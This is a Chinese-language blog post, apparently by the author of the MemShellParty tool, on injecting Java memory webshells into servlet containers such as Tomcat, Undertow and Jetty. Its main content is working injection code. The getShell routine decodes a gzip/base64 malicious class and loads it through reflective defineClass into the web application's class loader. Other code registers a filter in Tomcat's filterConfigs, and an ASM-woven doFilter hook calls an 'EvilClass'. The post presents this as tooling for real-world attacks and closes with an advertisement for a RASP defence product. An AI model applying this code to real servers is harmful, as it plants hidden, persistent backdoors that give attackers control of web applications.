任意类加载环境下注入内存马
2025-05-28常见中间件框架内存马生成平台:MemShellParty
前言
在 JVM 中,每个类都有它所属的类加载器,在 Java 内存马注入场景下,我们会制作一个恶意类通过 ClassLoader.defineClass 方法注入到 JVM 中,然后通过一些特定方法注册到 Web 组件上以供我们访问。以下是 defineClass 的具体代码:
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
看起来非常的完善,兼容性很强的样子,先尝试获取上下文类加载器中注入,上下文类加载没有就注入到 context 的类加载器中。实际测试起来就会发现有些场景下 context.getClass().getClassLoader()
根本不行,而 Thread.currentThread().getContextClassLoader()
这种依赖请求线程,如果在非请求线程肯定是寄的,例如:记某次实战 hessian 不出网反序列化利用 作者为了成功打上内存马还特地找了一个有上下文类加载器的 gadget。
每个类都有我们 想要它在 或是 它应该在 的类加载器中,为了去除对 Thread.currentThread().getContextClassLoader()
的依赖,我一直在找寻恶意类该放置在哪个 ClassLoader 中(自我写全中间件自动化测试开始,我就察觉到了这个优化点,时不时看看但一直没找到)。
而导火索就是最近我在写 ASM 通用内存马 Agent,为了通用,我就需要将恶意类单独拆成一个类,而不是用 ASM 直接编织到指定的类上(因为用 ASM 写 Java Code 太复杂了)。最终我敲定的代码植入效果为如下:
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
if(new EvilClass().equals(new Object[]{request, response, chain})){
return;
}
// other business code
}
期间我还尝试了如下,因为 Agent 默认会由 ClassLoader.getSystemClassLoader() 加载,所以我们可以直接指定其加载我们的恶意类,不过很遗憾的是在高版本 JDK 中部分中间件模块限制,不允许我们访问指定类,不够通用。
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
if(Class.forName("org.example.EvilClass", true, ClassLoader.getSystemClassLoader()).newInstance().equals(new Object[]{request, response, chain})){
return;
}
// other business code
}
而就是在这个找寻通用 ASM Agent 编写方式的过程中,让我想到了一个古老的类加载问题,在这里我找到了恶意类应该去的地方。
ApplicationFilterConfig
在 Tomcat 注入 Filter 内存马时,有时候会莫名其妙报 ClassNotFoundException 但是内存马已经能 work 了,所以在测试的时候直接跳过,我甚至猜的原因写了个可能(主打一个测试用例能通过了,其他报错都是虚无),但其实这样做不对,在测试过程中任何 warning 都应该关注(其实还有许多我当时没精力处理的 warning)。
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success");
} catch (Exception e) {
// 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
if (!(e.getCause() instanceof ClassNotFoundException)) {
throw e;
}
}
就在我去找这块报错到底是为何抛出来的时候,我发现了一切的真相。恰好我此时正在调试 Tomcat5 的环境,所以在 Tomcat5 catalina.jar 里边的 org.apache.catalina.core.ApplicationFilterConfig#getFilter
发现了如下代码(低版本没封装,看起来相对比较容易和直观):
// ApplicationFilterConfig
Filter getFilter() throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException {
if (this.filter != null) {
return this.filter;
} else {
String filterClass = this.filterDef.getFilterClass();
ClassLoader classLoader = null;
if (filterClass.startsWith("org.apache.catalina.")) {
classLoader = this.getClass().getClassLoader();
} else {
classLoader = this.context.getLoader().getClassLoader();
}
Class clazz = classLoader.loadClass(filterClass);
this.filter = (Filter)clazz.newInstance();
// ...
return this.filter;
}
}
可以看到类名以 org.apache.catalina.
开头的由当前 class 的类加载器加载,否则使用 context.getLoader().getClassLoader()
进行加载,刚好这个 context 就是我们通过线程遍历拿到的 StandardContext。在高版本 Tomcat 就是稍微封装了一下,实际也是一样的,以下是高版本的代码片段。
// ApplicationFilterConfig
Filter getFilter() throws ClassCastException, ClassNotFoundException, IllegalAccessException,
InstantiationException, ServletException, InvocationTargetException, NamingException,
IllegalArgumentException, NoSuchMethodException, SecurityException {
if (this.filter != null)
return this.filter;
String filterClass = filterDef.getFilterClass();
this.filter = (Filter) getInstanceManager().newInstance(filterClass);
initFilter();
return this.filter;
}
// DefaultInstanceManager
protected final ClassLoader classLoader;
public DefaultInstanceManager(Context context, Map<String,Map<String,String>> injectionMap,
org.apache.catalina.Context catalinaContext, ClassLoader containerClassLoader) {
classLoader = catalinaContext.getLoader().getClassLoader();
}
@Override
public Object newInstance(String className)
throws IllegalAccessException, InvocationTargetException, NamingException, InstantiationException,
ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, SecurityException {
// classLoader 也是通过初始化参数用的 context.getLoader().getClassLoader();
Class<?> clazz = loadClassMaybePrivileged(className, classLoader);
return newInstance(clazz.getConstructor().newInstance(), clazz);
}
看到 context.getLoader().getClassLoader()
,很自然的就想知道它是什么时候 set 的以及具体值是什么,在 org.apache.catalina.core.StandardContext#startInternal
就能找到,它就是我们想找的与请求线程上下文加载器一致的 WebappLoader。
@Override
protected synchronized void startInternal() throws LifecycleException {
// ...
if (getLoader() == null) {
WebappLoader webappLoader = new WebappLoader(getParentClassLoader());
webappLoader.setDelegate(getDelegate());
setLoader(webappLoader);
}
// ...
}
我有 16 个中间件需要适配,要是这是一个特殊情况,我的适配工作恐怕有点大,不过由于这些 Java 中间件都是 Servlets 容器,我就想起了 Servlets 规范,我在 Tomcat 中找到了 org.apache.catalina.core.ApplicationContext
它是 ServletContext 实现类,通过查看当前类是否有 ClassLoader 相关的函数调用,找到下面这个。可以看到默认就是 context.getLoader().getClassLoader()
和前面一致。
@Override
public ClassLoader getClassLoader() {
ClassLoader result = context.getLoader().getClassLoader();
if (Globals.IS_SECURITY_ENABLED) {
ClassLoader tccl = Thread.currentThread().getContextClassLoader();
ClassLoader parent = result;
while (parent != null) {
if (parent == tccl) {
break;
}
parent = parent.getParent();
}
if (parent == null) {
System.getSecurityManager().checkPermission(
new RuntimePermission("getClassLoader"));
}
}
return result;
}
而且这个居然是 @Override 修饰的,所有肯定 Servlets 规范规定了什么东西。直接看接口文档,是获取与应用相关联的 ClassLoader,不过 Servlet 3.0 才有,意味着我的超强兼容性的内存马生成工具 MemShellParty 指定不能直接调用了,if else 一下。
// ServletContext
/**
* Get the web application class loader associated with this ServletContext.
*
* @return The associated web application class loader
*
* @throws UnsupportedOperationException If called from a
* {@link ServletContextListener#contextInitialized(ServletContextEvent)}
* method of a {@link ServletContextListener} that was not defined in a
* web.xml file, a web-fragment.xml file nor annotated with
* {@link javax.servlet.annotation.WebListener}. For example, a
* {@link ServletContextListener} defined in a TLD would not be able to
* use this method.
* @throws SecurityException if access to the class loader is prevented by a
* SecurityManager
* @since Servlet 3.0
*/
public ClassLoader getClassLoader();
ServletContext#getClassLoader
有了这个之后,我们的内存马 defineClass 就改成了如下方式:
// Servlet 高版本直接使用 getClassLoader 方法,低版本就反射调用具体方法。
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
try {
return webAppClassLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
Undertow 在 io.undertow.servlet.spec.ServletContextImpl#getClassLoader
中
@Override
public ClassLoader getClassLoader() {
return getDeploymentInfo().getClassLoader();
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
Jetty 在 org.eclipse.jetty.server.handler.ContextHandler#getClassLoader
中
public ClassLoader getClassLoader()
{
return _classLoader;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
等等其他中间件都在 https://github.com/ReaJason/MemShellParty 中已均有实现。
总结
写代码的过程中,总会遇到各种各样的问题,碰到有些棘手的问题但是又有临时解决方式时我们可以加个优化 TODO,日后有时间再深入,时不时看看,灵感来了就有更好地解决办法。
我希望自己的工作是有意义的,就好比这个改动,我希望能因此适应实战中更多的漏洞场景,同时我也希望我能让 MemShellParty 变得更有实战价值和教学意义。
护网行动在即,在 Web 漏洞层出不穷的今天,RASP 作为应用的最后一道防线,其提供了动态类加载分析、恶意类扫描、恶意类清除等功能时刻防范内存马注入和利用行为,并提供常见的 Web 漏洞防护,推荐使用 靖云甲 RASP 加固高风险应用。